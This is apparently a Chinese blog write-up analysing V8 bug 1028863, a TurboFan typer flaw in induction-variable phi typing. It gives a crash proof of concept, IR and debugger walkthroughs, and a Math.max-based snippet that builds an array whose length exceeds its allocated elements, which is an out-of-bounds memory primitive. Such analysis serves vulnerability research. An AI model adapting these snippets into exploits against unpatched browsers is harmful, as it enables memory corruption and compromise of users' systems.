home HOME PAGE

POC

function trigger() {
    let begin   = Infinity;
    let end     = 1;
    let step    = 1;
    for (var i = begin; i >= end; i += step) {
        step    = end - begin;
        begin >>>= 805306382;
    }
}
  
function bar() {
    for (let i = 0; i < 10000; i++) {
        trigger();
    }
}
  
bar();

通过访问其issue页面可以得到以上poc代码,再编译存在该漏洞的相应v8环境,并使用d8执行该POC产生crash
在这里插入图片描述
使用windbg捕获异常代码如下:
在这里插入图片描述

漏洞分析

turbolizer

Typer Phase

通过观察IR图可知,21.phi节点type被设为range(-inf, inf),之后会通过26节点去进行比较21节点是否小于或等于16节点,对应代码中的i >= end,如果不满足条件就进入28.ifFalse分支结束循环,如果满足就进入33.ifTrue分支,该分支最后会执行到48.TypeGuard节点,该节点会以40.SpeculativeNumberAdd节点的结果作为输入去进行检查,检查过后再将当前值更新到21.phi节点
在这里插入图片描述
其中40.SpeculativeNumberAdd节点会以21.phi节点与37.SpeculativeNumberSubtract节点的结果作为两个操作数进行运算,37节点又会以一个常量1与一个范围在0~inf范围内的phi节点作为操作数进行运算该减法运算对应代码中的step = end - begin
在这里插入图片描述

SimplifiedLowering Phase

此阶段逻辑基本与Typer阶段一致,区别就在于前面的40.SpeculativeNumberAdd节点被优化折叠成了70常量NaN节点,而在TypeGuard节点之后便会转入unreachable节点进入turboFan 认为是 unreachable code 的代码区域。
在这里插入图片描述
而通过观察JIT代码可知在调试器中触发中断的int 3指令就位于该unreachable code 代码区域。
在这里插入图片描述

代码分析

由于漏洞的产生是在Typer阶段所以对v8::internal::compiler::TyperPhase::Run函数下断,通过以下调用路径进入v8::internal::compiler::Typer::Visitor::TypeInductionVariablePhi函数
在这里插入图片描述
该函数会先获取一个初始化值的类型已经增量值的类型
在这里插入图片描述
之后会使用一个判断来判断前面取到的两个值类型是否为整数,如果两个数都不为整数就回退到正常的phi类型
在这里插入图片描述
之后会去判断是否有足够的增量值与初始值信息,如果没有就直接将初始值类型信息返回
在这里插入图片描述
然后开始处理边界,首先获取归纳变量算术运算类型,再将最小值设为负无穷,再将最大值设为正无穷
在这里插入图片描述
然后去判断归纳变量算术类型是否为加法,而这里的算术类型对应POC代码中的i += setp // i += (-Infinity),由于是加法所以满足此处判断
在这里插入图片描述
在经过赋值后increment_min与increment_max都等于-Infinity
在这里插入图片描述
在这里插入图片描述
由于increment_max小于0所以便会进入如下if分支
在这里插入图片描述
在经过该else if分支后得到max为Infinity
在这里插入图片描述
在这里插入图片描述
在之后的for循环体中将会通过bound_type.Min函数为bound_min赋值为1
在这里插入图片描述
在这里插入图片描述
之后会第一次为min赋值,此时min值为-Infinity
在这里插入图片描述
然后会第二次为min赋值,此时min值依然为-Infinity
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
最终v8::internal::compiler::Typer::Visitor::TypeInductionVariablePhi函数将会返回Range(-inf, inf)类型
在这里插入图片描述

漏洞利用

对漏洞利用的调试分析都基于以下代码,但此代码不是漏洞利用代码。

function trigger(flg) {
   let value = 0;
   if(flg){
   	value += 10;
   }else{
   	value += 13;
   }
   var array1 = new Array(value);
   array1[0] = 1.1;
   return [array1, {}];
};
 
for (let i = 0; i < 20000; ++i) {
    trigger(false);
}

var u = trigger(true);

当在创建数组时会在TypeLowering阶段去调用v8::internal::compiler::JSCreateLowering::ReduceJSCreateArray函数,在该函数中会使用推测值来分配elements的大小,而在运行时才会将实际的length写入数组对象。
查看修复补丁:
在这里插入图片描述
它在相关位置将传入的length改为了常量以此来防止因为typer bug导致的数组实际长度>elements占用内存大小的情况。在相应函数位置下断,进入ReduceNewArray函数查看其对elements内存分配的具体操作,在ReduceNewArray函数中会先确定elements的种类并通过该种类获取map,通过调试在此处该类型值为0x5具体对应什么类型暂时还未知
在这里插入图片描述
在这里插入图片描述
之后会去设置elements与属性,也是在此处会去申请创建elements,而capactiy就是要创建的elements内存大小,当capactiy不为0时就根据capactiy去申请内存创建elements
在这里插入图片描述
当代码执行到if时可知capactiy为0xd,也就是说ReduceJSCreateArray函数会用推测值中的最大值去创建elements
在这里插入图片描述
在这里插入图片描述
然后继续跟进AllocateElements函数中
在这里插入图片描述
该函数会先对capactiy进行一些检查,其中会先检查capacity是否大于1,然后再检查capactiy是否小于JSArray::kInitialMaxFastElementArrayJSArray::kInitialMaxFastElementArray为0x3FFC
在这里插入图片描述
然后会根据elements_kind也就是前面获取到值为5的elements类型去获取elements_map与access,然后通过AllocateArray函数去创建elements内存
在这里插入图片描述
最后还会通过一个for循环去初始化elements中的内存
在这里插入图片描述
AllocateElements函数执行完毕后回到ReduceNewArray,然后会去创建实际的Array对象
在这里插入图片描述
通过issue 1028863的type bug可以得到一个值为NaN而类型为kInterger的变量i,利用该变量配合Math.max等数学函数可实现创建一个array length>elements capactiy的数组

var value = Math.max(i, 1024);
value = -value;
value = Math.max(value, -1025);
value = -value;
value -= 1022;
value >>= 1; // *** 3 ***
value += 10;

var array1 = new Array(value);

使用windbg调试,当执行到ReduceJSCreateArray函数创建elements时其capactiy为11
在这里插入图片描述
而当数组创建后数组对象中保存的length为0x7ffffc16
在这里插入图片描述
在这里插入图片描述
然后再去查看elements中保存的length为0x16,由于数组容量d=length/2故此处保存的elements length长度实际也是0xb与在ReduceJSCreateArray函数中创建elements容量大小一致
在这里插入图片描述
查看JIT代码也可以找到对array对象length字段赋值的操作,在内存地址00000305000C2D3A像向数组对象拷贝map,00000305000C2D94拷贝数组对象elements,00000305000C2D98拷贝数组对象length

DebugPrint: 0000030508356EF9: [JSArray]
 - map: 0x0305082818b1 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
.....略
0000030B000C2D3A   21a  41bbb1182808   movl r11,00000000082818B1    ;; (compressed) object: 0x030b082818b1 <Map(HOLEY_DOUBLE_ELEMENTS)>
0000030B000C2D40   220  458958ff       movl [r8-0x1],r11
0000030B000C2D44   224  458d5c240a     leal r11,[r12+0xa]
0000030B000C2D49   229  4c8b15c8feffff REX.W movq r10,[rip+0xfffffec8]
0000030B000C2D50   230  4d3bd3         REX.W cmpq r10,r11
0000030B000C2D53   233  7312           jnc 0000030B000C2D67  <+0x247>
0000030B000C2D55   235  488b15cbfeffff REX.W movq rdx,[rip+0xfffffecb]
0000030B000C2D5C   23c  4c8b15d5fdffff REX.W movq r10,[rip+0xfffffdd5]
0000030B000C2D63   243  41ffd2         call r10
0000030B000C2D66   246  cc             int3l
0000030B000C2D67   247  4d8ba568010000 REX.W movq r12,[r13+0x168] (root (empty_fixed_array))
0000030B000C2D6E   24e  45896003       movl [r8+0x3],r12
0000030B000C2D72   252  478d341b       leal r14,[r11+r11*1]
0000030B000C2D76   256  4c8b159bfeffff REX.W movq r10,[rip+0xfffffe9b]
0000030B000C2D7D   25d  4d3bd6         REX.W cmpq r10,r14
0000030B000C2D80   260  7312           jnc 0000030B000C2D94  <+0x274>
0000030B000C2D82   262  488b159efeffff REX.W movq rdx,[rip+0xfffffe9e]
0000030B000C2D89   269  4c8b15a8fdffff REX.W movq r10,[rip+0xfffffda8]
0000030B000C2D90   270  41ffd2         call r10
0000030B000C2D93   273  cc             int3l
0000030B000C2D94   274  41897807       movl [r8+0x7],rdi    ;; Array elements
0000030B000C2D98   278  4589700b       movl [r8+0xb],r14    ;; Array length

在这里插入图片描述